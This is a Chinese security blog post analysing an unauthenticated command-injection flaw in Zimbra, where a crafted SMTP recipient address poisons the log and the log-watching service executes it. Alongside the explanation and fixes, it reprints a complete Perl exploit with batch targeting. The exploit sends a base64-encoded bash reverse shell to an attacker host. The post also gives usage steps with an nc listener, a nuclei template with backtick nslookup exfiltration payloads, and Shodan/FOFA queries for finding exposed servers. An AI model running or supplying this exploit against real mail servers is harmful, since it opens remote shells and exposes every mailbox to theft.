CVE-2026-73570:Zimbra 未授权命令注入漏洞分析—SMTP 日志投毒实现 RCE
原创
MY0723
MY0723
不秃头的安全
2026年10月9日 10:35
北京
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
CVE-2026-73570:Zimbra 未授权命令注入漏洞深度分析——SMTP 日志投毒实现 RCE
前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请私聊删除。知识星球和交流群在最下方。需要cnvd(中高)/c2nd(高与支撑单位)/安全证书请联系vx咨询
一、漏洞概述
2026 年 7 月,Zimbra 官方发布 10.1.20 版本修复了一处 OS 命令注入漏洞,编号 CVE-2026-73570。随后 CERT Polska 证实该漏洞已在野外被积极利用,CISA 亦于 2026 年 8 月 21 日将其收录进已知被利用漏洞目录(KEV)。
Zimbra Collaboration Suite(ZCS)是全球广泛部署的开源邮件与协作平台,集邮件、日历、联系人于一体,大量企业、政府机构和 ISP 的邮件基础设施运行其上。邮件服务器天然承载着一个组织最敏感的通信数据,这类漏洞的杀伤力不言而喻。
该漏洞的利用方式颇为\"迂回\"却极其致命:攻击者无需任何认证,只需向邮件服务器的 SMTP 端口发送一个精心构造的\"收件人地址\",就能把恶意命令\"写\"进 Zimbra 的日志文件;日志监控服务 swatchdog 匹配到这条伪造记录后,把其中未经净化的内容交给 SNMP 通知程序 zmsnmptrapd,后者使用 Perl 反引号操作符将其拼接执行——攻击者全程没有碰任何账号,命令却被服务器自己\"接力\"执行了。
| 属性 | 信息 |
|---|---|
| 漏洞类型 | OS 命令注入(CWE-78)→ 未授权 RCE |
| CVE编号 | CVE-2026-73570 |
| CVSS评分 | 8.9/10(High) |
| CVSS向量 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L |
| 影响产品 | Zimbra Collaboration Suite (ZCS) |
| 影响版本 | < 10.1.20(需满足受影响配置,见 2.3 节) |
| 修复版本 | 10.1.20(2026-07-20 发布) |
| 攻击入口 | SMTP(TCP 25/465/587) |
| 利用条件 | 无需认证、无需用户交互,但需目标满足特定配置 |
| 执行权限 | zimbra OS 用户 |
1.1 一句话理解漏洞
攻击者通过 SMTP 的收件人地址字段(RCPT TO)向 Zimbra 日志注入一条伪造的\"服务状态变更\"记录,日志监控服务 swatchdog 匹配到该记录后,将其中未经净化的内容传递给 SNMP 通知程序 zmsnmptrapd 执行——全程无需认证,最终以 zimbra 用户身份执行任意系统命令。
1.2 事件时间线
| 时间 | 事件 |
|---|---|
| 2026-07-20 | Zimbra 发布 10.1.20,修复该漏洞 |
| 2026 年夏 | CERT Polska 发布公告(2026/145),确认在野利用 |
| 2026-08-21 | CISA 将 CVE-2026-73570 列入 KEV 目录 |
| 2026-09-30 | 安全研究员 0xBlackash 公开 Perl 版利用 PoC |
| 持续 | nuclei 官方模板库合入检测模板,可批量验证 |
Shodan:
http.title:\"Zimbra Web Client Sign In\"http.title:\"Zimbra Collaboration Suite\"http.html:\"Zimbra Collaboration Suite Web Client\"
FOFA:
title=\"zimbra web client sign in\"title=\"zimbra collaboration suite\"app=\"Zimbra-Collaboration-Suite\"
二、漏洞原理
2.1 涉及组件
理解这个漏洞,需要先认识 Zimbra 中三个\"配角\"组件——正是它们的组合构成了完整的攻击链:
| 组件 | 角色 |
|---|---|
zimbra-snmp |
可选安装包,为 Zimbra 提供 SNMP 监控与通知能力 |
swatchdog |
日志监控服务(基于 Swatch),持续监视 /var/log/zimbra.log 中的服务状态变化,默认启用 |
zmsnmptrapd |
SNMP 通知/陷阱处理程序,负责将\"服务状态变更\"以 SNMP trap 形式发出,内部使用 Perl 反引号操作符调用系统命令 |
2.2 根本原因:跨组件信任链断裂
这是一类典型的日志投毒(Log Poisoning)→ 监控组件代为执行漏洞,攻击链上三个环节逐层失守:
第一步:SMTP 会话内容被原样写入日志
Zimbra 会将 SMTP 会话过程中的关键命令(EHLO、MAIL FROM、RCPT TO 等)记录到 /var/log/zimbra.log。关键在于:即使收件人地址最终被拒绝,该行内容依然会被完整记录。而按照 RFC 5321,收件人地址允许使用\"带引号的本地部分\"(quoted local-part),引号内几乎可以包含任意可打印字符——包括冒号、空格、美元符号、反引号。
第二步:swatchdog 模式匹配并捕获
zimbra-snmp 包附带的 swatchdog 配置会监视日志中形如下式的\"服务状态变更\"行:
Service status change: <NAME> changed from (stopped|running) to (running|stopped)
swatchdog 从匹配行中捕获 <NAME> 字段。在正常业务中,这里应该是一个服务名(如 mailbox、mta);但日志行本身可以被攻击者投毒,<NAME> 可以是任何字符串——包括 shell 元字符。
第三步:未净化传递 + 反引号执行
swatchdog 将捕获的 <NAME> 字段未经任何净化直接传递给 SNMP 通知处理程序。zmsnmptrapd 在处理时使用 Perl 反引号操作符(或等效的 shell 调用方式)将内容拼接进命令执行。至此,攻击者投毒进日志的命令替换语法($(...) 或 `...`)被 shell 求值,以 zimbra OS 用户身份执行。
用一张图概括三条崩塌的安全假设:
安全假设 实际情况
─────────────────────────────────────────────────────────────────
\"日志内容是系统自身的可信输出\" → SMTP 会话中攻击者可控的地址也原样入日志
\"匹配到的 <NAME> 一定是服务名\" → 可以是含 shell 元字符的任意字符串
\"下游组件拿到的是纯数据\" → swatchdog 直接传参,zmsnmptrapd 反引号执行
─────────────────────────────────────────────────────────────────
2.3 受影响配置:为什么攻击复杂度是\"高\"(AC:H)
CVSS 向量中的 AC:H(Attack Complexity: High)值得注意。并非所有 Zimbra 实例都可被利用,攻击路径要求以下条件同时成立:
ZCS < 10.1.20
│
├── ① zimbra-snmp 包已安装
│
├── ② SNMP 通知已启用(zimbraSnmpNotifyTrap 配置)
│
└── ③ swatchdog 服务运行中(日志监控生效,默认启用)
三个条件缺一不可:没有 zimbra-snmp 就没有 swatchdog 的恶意配置规则;通知未启用则链路断裂;swatchdog 不运行则无人\"接力\"执行。这也是官方将攻击复杂度评为\"高\"的原因。
但请注意:swatchdog 默认启用,且不少运维会顺手装上 snmp 组件用于监控对接——\"高复杂度\"绝不等于\"安全\",真实环境中满足三条件的部署并不少见,CERT Polska 确认的在野利用就是明证。
2.4 攻击链全景图
┌────────────────────────────────────────────────────────────────────┐
│ CVE-2026-73570 攻击链 │
├────────────────────────────────────────────────────────────────────┤
│ │
│ ① 未认证攻击者连接目标 SMTP 端口(25 / 465 / 587) │
│ ↓ │
│ ② 发送含命令替换载荷的 SMTP 命令 │
│ (EHLO / MAIL FROM / RCPT TO 均可作为载体) │
│ ↓ │
│ ③ Zimbra 将 SMTP 会话内容写入 /var/log/zimbra.log │
│ (即使收件人被拒绝,日志照记不误) │
│ ↓ │
│ ④ swatchdog 监控日志,匹配到 │
│ \"Service status change: X changed from ...\" 模式 │
│ ↓ │
│ ⑤ 捕获的 <NAME> 字段未经净化,传递给 zmsnmptrapd │
│ ↓ │
│ ⑥ zmsnmptrapd 使用 Perl 反引号拼接执行 │
│ ↓ │
│ ⑦ 以 zimbra OS 用户权限执行任意命令 → RCE │
│ (落地 webshell / 窃取邮箱凭据 / 横向移动) │
│ │
└────────────────────────────────────────────────────────────────────┘
三、攻击流程详解
3.1 关键前置知识:RFC 5321 的\"带引号本地部分\"
SMTP 协议(RFC 5321)允许如下合法的收件人地址:
RCPT TO:<\"这里面: 几乎可以放! 任意 $(`字符`)\"@example.com>
引号内的本地部分可以包含冒号、空格、命令替换语法等特殊字符。Zimbra 在记录这条命令时,无论是接受还是拒绝该收件人,都会把地址内容写入 zimbra.log——这就给了攻击者向日志\"精确制导\"写入任意文本行的能力。
3.2 构造伪造的\"服务状态变更\"日志
回顾 swatchdog 监控的模式:
Service status change: <NAME> changed from (stopped|running) to (running|stopped)
攻击者要做的,就是把一条匹配该模式的完整文本,通过 RCPT TO 地址的带引号本地部分送进日志。公开 PoC 中的构造如下:
RCPT TO:<\"x: Service status change: localhost $(CMD) changed from stopped to running\"@cve.invalid>
拆解这条地址:
| 片段 | 作用 |
|---|---|
\"...\" |
RFC 5321 合法的带引号本地部分,承载全部载荷 |
x: Service status change: localhost |
前缀填充,使日志行匹配 swatchdog 的模式 |
$(CMD) |
命令替换语法 ,实际载荷所在 |
changed from stopped to running |
后缀填充,补全模式 |
@cve.invalid |
无效域名不影响——地址会被拒绝,但日志已经写入 |
注入语法的两种姿势(均利用 shell 元字符):
- ▸
$(...) 命令替换:公开 Perl PoC 采用,注入在 RCPT TO 中
* ▸
反引号 `cmd`:nuclei 官方模板采用,注入在 EHLO / MAIL FROM 字段中
两个事实值得注意:其一,EHLO、MAIL FROM、RCPT TO 的内容都会进入日志,注入点不唯一;其二,PoC 将反弹 shell 命令做了一层 base64 编码再执行,避免特殊字符破坏地址语法:
my $shell_cmd = \"bash -c 'bash -i >&/dev/tcp/<rhost>/<rport> 0>&1'\"; # 反弹 shell
my $b64 = encode_base64($shell_cmd, ''); # base64 规避特殊字符
my $cmd = \"echo ${b64}|base64 -d|bash\"; # 解码并执行
my $inject = \"\\$(${cmd})\"; # 包装为命令替换
my $rcpt = qq{\"x: Service status change: localhost ${inject} changed from stopped to running\"\\@cve.invalid};
3.3 完整 SMTP 会话
攻击者与目标 25 端口的一次完整交互(以手工会话示意):
S: 220 mail.target.com ESMTP ready
C: EHLO mx-test.invalid
S: 250-mail.target.com
250-STARTTLS
250 SIZE 20480000
C: MAIL FROM:<[email protected]>
S: 250 OK
C: RCPT TO:<\"x: Service status change: localhost $(echo BASE64PAYLOAD|base64 -d|bash) changed from stopped to running\"@cve.invalid>
S: 550 5.1.1 recipient rejected ← 被拒绝没有关系,日志已经写入
C: QUIT
S: 221 Bye
此时 /var/log/zimbra.log 中已经躺进了这样一行:
... REJECT ... RCPT TO:<\"x: Service status change: localhost $(echo BASE64PAYLOAD|base64 -d|bash) changed from stopped to running\"@cve.invalid>
3.4 swatchdog 逐级触发
接下来发生的事情完全在服务器内部,攻击者无需再发送任何数据:
攻击者 Zimbra SMTP /var/log/zimbra.log swatchdog zmsnmptrapd
│ │ │ │ │
│─ SMTP 会话 ────────►│ 写入投毒日志行 │ │ │
│◄── 550 REJECT ──────│─────────────────────►│ │ │
│ │ │ 轮询匹配模式 │ │
│ │ │◄───────────────────│ │
│ │ │ 捕获 <NAME> 未净化 │ │
│ │ │───────────────────►│── 传递参数 ────►│
│ │ │ │ │
│ │ │ │ Perl 反引号执行 │
│ │ │ │ $(...) 以 zimbra│
│ │ │ │ 用户身份运行 │
3.5 与传统命令注入的对比
| 维度 | 传统命令注入 | CVE-2026-73570 |
|---|---|---|
| 注入位置 | Web 参数 / HTTP 头 | SMTP 命令字段(经日志中转) |
| 触发时机 | 请求处理同步执行 | 异步 :日志轮询匹配后执行 |
| 执行者 | Web 应用进程 | 日志监控链路(swatchdog → zmsnmptrapd) |
| 响应回显 | 通常可直接回显 | 无回显,需外带(DNS/反弹)验证 |
| 检测难度 | WAF 可拦请求特征 | 载荷藏身\"正常\"邮件日志,更隐蔽 |
四、漏洞复现
4.1 前提确认
对自有资产先做三项自查(以下命令在 Zimbra 服务器执行):
# ① 确认 Zimbra 版本(< 10.1.20 且满足配置则受影响)
su - zimbra -c \"zmcontrol -v\"
# ② 确认 zimbra-snmp 包是否安装
rpm -qa | grep zimbra-snmp # RHEL/CentOS
dpkg -l | grep zimbra-snmp # Ubuntu/Debian
# ③ 确认 SNMP 通知配置
su - zimbra -c \"zmprov gcf zimbraSnmpNotify\"
# ④ 确认 swatchdog 是否运行
ps -ef | grep -i swatch
4.2 Perl 版 PoC(0xBlackash)
下载地址:https://github.com/0xBlackash/CVE-2026-73570
#!/usr/bin/perl############################################################################### CVE-2026-73570 — Zimbra Collaboration Suite (ZCS)# SNMP Notification OS Command Injection — Unauthenticated RCE via SMTP# Github : https://github.com/0xBlackash/CVE-2026-73570# Author : Achraf Zaryouh ==> 0xBlackash## Affected : ZCS < 10.1.20 (zimbra-snmp pkg installed + snmp_notify enabled)# CVSS 3.1 : 8.9 HIGH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L# CWE : CWE-78 (Improper Neutralisation of OS Command Special Elements)# Fixed : Zimbra 10.1.20 (released July 2026)# CISA KEV : Added 2026-08-21 (remediation deadline 2026-08-24 for FCEB)## Root Cause# ──────────# The optional zimbra-snmp package ships a swatchdog configuration that# watches /var/log/zimbra.log for log lines matching the pattern:## Service status change: <NAME> changed from (stopped|running) to (running|stopped)## When a matching line is seen, swatchdog passes the captured <NAME> field# directly to the SNMP notification shell script without sanitisation.# An unauthenticated attacker can inject a fake log line via a crafted# SMTP RCPT TO command using a quoted local-part (valid per RFC 5321),# embedding shell metacharacters — e.g. $(...) — inside <NAME>.## Attack Flow# ───────────# 1. Attacker opens TCP to port 25 / 465 / 587 of the Zimbra server.# 2. Sends EHLO, MAIL FROM, then a specially crafted RCPT TO:# RCPT TO:<\"x: Service status change: localhost $(CMD) changed from# stopped to running\"@cve.invalid># 3. Zimbra logs the (rejected or accepted) RCPT TO data.# 4. swatchdog matches the log line pattern.# 5. SNMP notification handler executes CMD as the 'zimbra' OS user.## References# ──────────# https://nvd.nist.gov/vuln/detail/CVE-2026-73570# https://github.com/0xBlackash/CVE-2026-73570# https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories# https://moje.cert.pl/komunikaty/2026/145/aktywnie-wykorzystywana-podatnosc-w-zimbra-collaboration-suite# https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-73570## Usage:# perl CVE-2026-73570.pl -H mail.target.com -r 10.10.10.1 -R 4444# perl CVE-2026-73570.pl -f targets.txt -r 10.10.10.1 -R 4444## targets.txt format:# mail.example.com <- default port (--port)# mail.example.com:25 <- explicit port# 10.0.0.50:587## Listener: nc -lvnp 4444###############################################################################use strict;use warnings;use IO::Socket::INET;use IO::Socket::SSL qw(SSL_VERIFY_NONE);use MIME::Base64 qw(encode_base64 decode_base64);use Digest::HMAC_MD5 qw(hmac_md5_hex);use POSIX qw(strftime);use Fcntl qw(:flock);use Getopt::Long qw(:config no_ignore_case bundling);
our $VERSION = '1.0.0';
# ── ANSI colors (disabled when stdout is not a TTY) ──────────────────────────my %C;{ my $tty = -t STDOUT; %C = ( rst => $tty ? \"\\033[0m\" : '', bold => $tty ? \"\\033[1m\" : '', red => $tty ? \"\\033[91m\" : '', grn => $tty ? \"\\033[92m\" : '', ylw => $tty ? \"\\033[93m\" : '', blu => $tty ? \"\\033[94m\" : '', mag => $tty ? \"\\033[95m\" : '', cyn => $tty ? \"\\033[96m\" : '', wht => $tty ? \"\\033[37m\" : '', );}
# ── globals ───────────────────────────────────────────────────────────────────my ($sock, $log_fh, $tls_active);
# ── options ───────────────────────────────────────────────────────────────────my %O = ( host => '', port => 587, file => '', rhost => '', rport => 4444, timeout => 15, ssl => 0, verbose => 0, logfile => '',);
GetOptions( 'host|H=s' => \\$O{host}, 'port|p=i' => \\$O{port}, 'file|f=s' => \\$O{file}, 'rhost|r=s' => \\$O{rhost}, 'rport|R=i' => \\$O{rport}, 'timeout|t=i' => \\$O{timeout}, 'ssl|S' => \\$O{ssl}, 'verbose|v' => \\$O{verbose}, 'logfile|L=s' => \\$O{logfile}, 'help|h' => \\&usage,) or usage();
usage() unless ($O{host} || $O{file}) && $O{rhost};
# ── build target list ─────────────────────────────────────────────────────────my @targets;
if ($O{host}) { push @targets, { host => $O{host}, port => $O{port} };}
if ($O{file}) { open(my $fh, '<', $O{file}) or die \"[-] Cannot open '$O{file}': $!\
\"; while (my $line = <$fh>) { chomp $line; $line =~ s/^\\s+|\\s+$//g; next if $line eq '' || $line =~ /^#/; my ($h, $p) = split(/:/, $line, 2); $p = $O{port} unless defined $p && $p =~ /^\\d+$/; push @targets, { host => $h, port => int($p) }; } close $fh; die \"[-] No valid targets in '$O{file}'\
\" unless @targets;}
# ── payload (built once, reused for every target) ─────────────────────────────my $shell_cmd = \"bash -c 'bash -i >&/dev/tcp/$O{rhost}/$O{rport} 0>&1'\";my $b64 = encode_base64($shell_cmd, '');$b64 =~ s/\\s+//g;my $cmd = \"echo ${b64}|base64 -d|bash\";my $inject = \"\\$(${cmd})\";my $rcpt = qq{\"x: Service status change: localhost ${inject} changed from stopped to running\"\\@cve.invalid};
# ── banner ────────────────────────────────────────────────────────────────────open_log() if $O{logfile};print_banner();say_info(sprintf \"Targets : %d host(s)\", scalar @targets);say_info(\"Shell : $O{rhost}:$O{rport}\");say_info(\"Listener: nc -lvnp $O{rport}\");print \"\
\";
# ── target loop ───────────────────────────────────────────────────────────────my ($ok, $fail) = (0, 0);
for my $i (0 .. $#targets) { my $t = $targets[$i]; say_info(\"─\" x 50); say_info(sprintf \"[%d/%d] %s:%d\", $i+1, scalar @targets, $t->{host}, $t->{port});
my $result = run_exploit($t->{host}, $t->{port});
if ($result eq 'ok') { say_ok(\"PAYLOAD SENT — waiting for shell on nc -lvnp $O{rport}\"); $ok++; } else { say_err(\"FAILED: $result\"); $fail++; }
sleep 1 unless $i == $#targets;}
# ── summary ───────────────────────────────────────────────────────────────────print \"\
\";say_info(\"═\" x 50);say_info(sprintf \"Summary: %d/%d hit %d failed\", $ok, scalar @targets, $fail);say_info(\"═\" x 50);
close_log() if $log_fh;exit 0;
# ═════════════════════════════════════════════════════════════════════════════# run_exploit — attempts the injection against a single target# ═════════════════════════════════════════════════════════════════════════════sub run_exploit { my ($host, $port) = @_; my $use_ssl = $O{ssl} || ($port == 465);
# ── connect ─────────────────────────────────────────────────────────────── eval { if ($use_ssl) { $sock = IO::Socket::SSL->new( PeerHost => $host, PeerPort => $port, SSL_verify_mode => SSL_VERIFY_NONE, Timeout => $O{timeout}, Proto => 'tcp', ) or die \"SSL: \" . IO::Socket::SSL::errstr(); $tls_active = 1; } else { $sock = IO::Socket::INET->new( PeerHost => $host, PeerPort => $port, Timeout => $O{timeout}, Proto => 'tcp', ) or die \"TCP: $!\"; $tls_active = 0; } }; if ($@) { (my $e = $@) =~ s/\\s+$//; return $e }
$sock->autoflush(1); say_dbg(\"Connected\");
# ── banner ──────────────────────────────────────────────────────────────── my $banner = smtp_read_line(); unless ($banner =~ /^220/) { close_sock(); return \"unexpected banner: $banner\"; } say_dbg(\"Banner: $banner\");
# ── EHLO ───────────────────────────────────────────────────────────────── smtp_send(\"EHLO mx-test.invalid\"); my $ehlo = smtp_read_multi(); unless ($ehlo =~ /^250/m) { close_sock(); return \"EHLO failed\"; }
# ── STARTTLS ───────────────────────────────────────────────────────────── if (!$tls_active && $ehlo =~ /STARTTLS/i) { smtp_send(\"STARTTLS\"); my $r = smtp_read_line(); if ($r =~ /^220/) { IO::Socket::SSL->start_SSL($sock, SSL_verify_mode => SSL_VERIFY_NONE) or do { close_sock(); return \"STARTTLS failed\" }; $tls_active = 1; say_dbg(\"STARTTLS negotiated\"); smtp_send(\"EHLO mx-test.invalid\"); smtp_read_multi(); } }
# ── injection ───────────────────────────────────────────────────────────── smtp_send(\"MAIL FROM:<scanner\\@mx-test.invalid>\"); my $r1 = smtp_read_line(); say_dbg(\"MAIL FROM: $r1\"); unless ($r1 =~ /^250/) { smtp_send(\"QUIT\"); smtp_read_line(); close_sock(); return \"MAIL FROM rejected: $r1\"; }
say_dbg(\"RCPT TO: <$rcpt>\"); smtp_send(\"RCPT TO:<$rcpt>\"); my $r2 = smtp_read_line(); say_dbg(\"RCPT TO resp: $r2\");
smtp_send(\"QUIT\"); smtp_read_line(); close_sock();
return 'ok' if $r2 =~ /^[245]\\d{2}/; return \"no valid response: $r2\";}
# ── SMTP layer ────────────────────────────────────────────────────────────────sub smtp_send { my ($line) = @_; say_dbg(\">>> $line\"); log_write(\">>> $line\"); print $sock \"$line\\r\
\";}
sub smtp_read_line { my $line = ''; eval { local $SIG{ALRM} = sub { die \"timeout\
\" }; alarm($O{timeout}); $line = <$sock> // ''; alarm(0); }; $line =~ s/[\\r\
]+$//; say_dbg(\"<<< $line\") if $line; log_write(\"<<< $line\") if $line; return $line;}
sub smtp_read_multi { my $buf = ''; eval { local $SIG{ALRM} = sub { die \"timeout\
\" }; alarm($O{timeout}); while (my $line = <$sock>) { $buf .= $line; last if $line =~ /^\\d{3} /; } alarm(0); }; $buf =~ s/[\\r\
]+$//; return $buf;}
sub close_sock { return unless $sock; eval { $sock->close() }; $sock = undef; $tls_active = 0;}
# ── output ────────────────────────────────────────────────────────────────────sub print_banner { my ($b, $n, $c, $g, $y) = @C{qw(bold rst cyn grn ylw)}; print \"${b}${c} ╔══════════════════════════════════════════════════════════╗${n}\
\"; print \"${b}${c} ║ CVE-2026-73570 — Zimbra ZCS Unauthenticated RCE ║${n}\
\"; print \"${b}${c} ║ SNMP Notification OS Command Injection — Reverse Shell ║${n}\
\"; print \"${b}${c} ╠══════════════════════════════════════════════════════════╣${n}\
\"; print \"${b}${c} ║ ${g}CVSS 3.1: 8.9 HIGH${c} ZCS < 10.1.20 ║${n}\
\"; print \"${b}${c} ║ ${y}Authorized security testing use only${c} ║${n}\
\"; print \"${b}${c} ╚══════════════════════════════════════════════════════════╝${n}\
\
\";}
sub _ts { strftime(\"%H:%M:%S\", localtime) }
sub say_ok { _say($C{bold}.$C{grn}.\"[+]\".$C{rst}, @_) }sub say_info { _say($C{bold}.$C{blu}.\"[*]\".$C{rst}, @_) }sub say_err { _say($C{bold}.$C{red}.\"[-]\".$C{rst}, @_) }sub say_dbg { return unless $O{verbose}; _say($C{mag}.\"[~]\".$C{rst}, @_) }
sub _say { my ($prefix, $msg) = @_; printf \"%s[%s]%s %s %s\
\", $C{wht}, _ts(), $C{rst}, $prefix, $msg; log_write($msg);}
sub log_write { my ($msg) = @_; return unless $log_fh; flock($log_fh, LOCK_EX); printf $log_fh \"[%s] %s\
\", strftime(\"%Y-%m-%d %H:%M:%S\", localtime), $msg; flock($log_fh, LOCK_UN);}
sub open_log { open($log_fh, '>>', $O{logfile}) or die \"[-] Cannot open log '$O{logfile}': $!\
\"; $log_fh->autoflush(1);}
sub close_log { close($log_fh) if $log_fh; $log_fh = undef;}
# ── help ──────────────────────────────────────────────────────────────────────sub usage { print <<'END';
Usage: perl CVE-2026-73570.pl -H <host> -r <IP> [-R <port>] [options] perl CVE-2026-73570.pl -f <list.txt> -r <IP> [-R <port>] [options]
Options: -H, --host <host> Single target (hostname or IP) -f, --file <file> File with target list (one per line) -p, --port <port> Default SMTP port [default: 587] -r, --rhost <IP> Your IP to receive the reverse shell (required) -R, --rport <port> Listener port [default: 4444] -t, --timeout <sec> Socket timeout [default: 15] -S, --ssl Direct TLS (auto for port 465) -v, --verbose Show full SMTP dialog -L, --logfile <file> Save session to log file -h, --help This help
targets.txt format: mail.example.com <- default port (--port) mail.example.com:25 <- explicit port 10.0.0.50:587 # comments are ignored
Examples: perl CVE-2026-73570.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v perl CVE-2026-73570.pl -f targets.txt -r 10.10.10.1 -R 4444 -L scan.log nc -lvnp 4444
END exit 0;}
该 PoC 支持 25/465/587 端口、STARTTLS/直接 TLS、单目标与批量列表,自动完成 base64 编码与载荷包装:
git clone https://github.com/0xBlackash/CVE-2026-73570
cd CVE-2026-73570
# 先开启监听(等待反弹 shell)
nc -lvnp 4444
# 单目标利用
perl CVE-2026-73570.pl -H mail.target.com -r <你的IP> -R 4444
# 批量利用(targets.txt 每行一个,支持 host 或 host:port 格式)
perl CVE-2026-73570.pl -f targets.txt -r <你的IP> -R 4444 -L scan.log
载荷送达后,需要等待 swatchdog 的下一个轮询周期触发执行——反弹 shell 不会立即出现,通常有数十秒以内的延迟。
4.3 nuclei 模板批量检测
模板地址:https://github.com/projectdiscovery/nuclei-templates/blob/main/network/cves/2026/CVE-2026-73570.yaml
id: CVE-2026-73570
info: name: Zimbra Collaboration Suite < 10.1.20 - OS Command Injection author: 0x_Akoko,ritikchaddha severity: high description: | Zimbra Collaboration Suite (ZCS) before version 10.1.20 is vulnerable to OS command injection in the SNMP notification processing due to improper input sanitization. According to the NVD, when SNMP notifications are enabled and the zimbra-snmp package is installed, an unauthenticated attacker can inject arbitrary commands using crafted SMTP requests that result in malicious log entries. The swatchdog service monitors the log, and upon matching a pattern, passes the log content to zmsnmptrapd, which unsafely uses the Perl backtick operator to execute commands. This can ultimately allow remote attackers to execute arbitrary operating system commands as the zimbra user. Active exploitation of this vulnerability has been observed in the wild, as confirmed by CERT Polska and CISA. impact: | Unauthenticated remote code execution as the zimbra user. Successful exploitation allows webshell placement in /opt/zimbra/jetty/webapps/ or /opt/zimbra/jetty_base/webapps/, email credential theft, access to every mailbox on the server, and lateral movement to internal network resources. remediation: | Upgrade Zimbra Collaboration Suite to version 10.1.20 or later. The only complete fix is the 10.1.20 release (July 20, 2026). As a temporary mitigation, disable SNMP notifications (unset zimbraSnmpNotifyTrap) or uninstall the zimbra-snmp package and stop the swatchdog service. reference: - https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories - https://moje.cert.pl/komunikaty/2026/145/aktywnie-wykorzystywana-podatnosc-w-zimbra-collaboration-suite/ - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-73570 - https://github.com/HORKimhab/CVE-2026-73570 - https://nvd.nist.gov/vuln/detail/CVE-2026-73570 classification: cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L cvss-score: 8.9 cve-id: CVE-2026-73570 epss-score: 0.71663 epss-percentile: 0.99409 cwe-id: CWE-78 metadata: verified: false max-request: 2 vendor: synacor product: zimbra_collaboration_suite shodan-query: - http.title:\"Zimbra Web Client Sign In\" - http.title:\"Zimbra Collaboration Suite\" - http.html:\"Zimbra Collaboration Suite Web Client\" fofa-query: - title=\"zimbra web client sign in\" - title=\"zimbra collaboration suite\" - app=\"Zimbra-Collaboration-Suite\" tags: cve,cve2026,zimbra,rce,oast,kev,smtp,snmp,network,vkev
flow: http(1) && tcp(1)
http: - raw: - | GET /js/zimbraMail/share/model/ZmSettings.js HTTP/1.1 Host: {{Hostname}}
matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, \"Zimbra Collaboration Suite Web Client\")' - 'compare_versions(version, \"< 10.1.20\")' condition: and internal: true
extractors: - type: regex name: version part: body group: 1 regex: - 'CLIENT_VERSION[^\"]*defaultValue[^\"]*\"(\\d+\\.\\d+\\.\\d+)' - '\"(\\d+\\.\\d+\\.\\d+)_GA' internal: true
tcp: - host: - \"{{Host}}:25\"
inputs: - data: \"\" read: 512 - data: \"EHLO `nslookup {{interactsh-url}}`\\r\
\" read: 512 - data: \"MAIL FROM:<zimbra@`nslookup {{interactsh-url}}`>\\r\
\" read: 512 - data: \"RCPT TO:<postmaster@localhost>\\r\
\" read: 512 - data: \"QUIT\\r\
\" read: 64
matchers: - type: word part: interactsh_protocol words: - \"dns\"# digest: 4a0a00473045022100845e94345d34deb106868bd7cc1daea83fb0acf62fe168335a8a802b196d3e4002204c054be3d0344c4855a2a3061dd3a6ac280524132fd9643735fcbe345f906d27:922c64590222798bb761d5b6d8e72950
# 对目标列表批量检测
nuclei -l urls.txt -t network/cves/2026/CVE-2026-73570.yaml
模板检测逻辑解析(flow: http(1) && tcp(1) 两阶段):
第一阶段(HTTP 版本确认):请求 /js/zimbraMail/share/model/ZmSettings.js,正则提取 CLIENT_VERSION 判断目标是否为 < 10.1.20 的 Zimbra,非 Zimbra 或已修复版本直接跳过,避免对无关目标发包:
http:
- raw:
- |
GET /js/zimbraMail/share/model/ZmSettings.js HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, \"Zimbra Collaboration Suite Web Client\")'
- 'compare_versions(version, \"< 10.1.20\")'
第二阶段(SMTP 注入 + DNS 外带验证):对 25 端口发送含反引号载荷的 SMTP 会话,通过 interactsh 检测 DNS 外带——若恶意域名被解析,说明 nslookup 命令真实执行:
tcp:
- host:
- \"{{Host}}:25\"
inputs:
- data: \"\"
read: 512
- data: \"EHLO `nslookup {{interactsh-url}}`\\r\
\"
read: 512
- data: \"MAIL FROM:<zimbra@`nslookup {{interactsh-url}}`>\\r\
\"
read: 512
- data: \"RCPT TO:<postmaster@localhost>\\r\
\"
read: 512
- data: \"QUIT\\r\
\"
read: 64
matchers:
- type: word
part: interactsh_protocol
words:
- \"dns\"
使用模板的四点注意(基于模板工程性的客观分析):
- 1
模板 metadata.verified: false,且未检测 zimbra-snmp / SNMP 通知 / swatchdog 三个前置条件——对不满足配置的目标会发出无效载荷,在对方日志中留下注入痕迹(可能触发 CERT Polska 特征的误报),仅对已授权资产使用
2. 2
swatchdog 采用轮询监控,命令执行相对 SMTP 会话存在异步延迟,OAST 等待窗口不足时会产生假阴性,建议适当调大超时
3. 3
模板硬编码 25 端口,SMTP 改用 587/465 或经端口映射的部署会被漏检
4. 4
社区另有 HTTP 路线的 PoC(HORKimhab 仓库,打 /service/extension/backup/snmptrap 的 snmp_notify 参数),但其作者自注多处\"可能需要/不确定\",可靠性未经充分验证,本文以 SMTP 投毒链路为准
五、修复方案
5.1 官方升级(唯一彻底修复)
升级到 Zimbra Collaboration Suite 10.1.20 或更高版本。10.1.20(2026 年 7 月 20 日发布)包含该漏洞的完整修复,临时配置调整不能替代升级。
5.2 临时缓解(无法立即升级时)
如果短期内无法升级,可按优先级采用以下任一措施切断利用链:
① 禁用 SNMP 通知(关闭 zimbraSnmpNotifyTrap 配置项)
② 卸载 zimbra-snmp 可选包
③ 停止 swatchdog 服务
三条措施本质都是斩断 \"日志 → swatchdog → zmsnmptrapd\" 链路中的某一环。具体操作命令以 Zimbra 官方安全公告为准,执行前评估对现有监控体系的影响。
六、安全建议
6.1 紧急处置清单
1. 摸清资产:用 FOFA/Shodan 语法盘点对外暴露的 Zimbra 实例
2. 核对版本:逐台确认 ZCS 版本是否 < 10.1.20
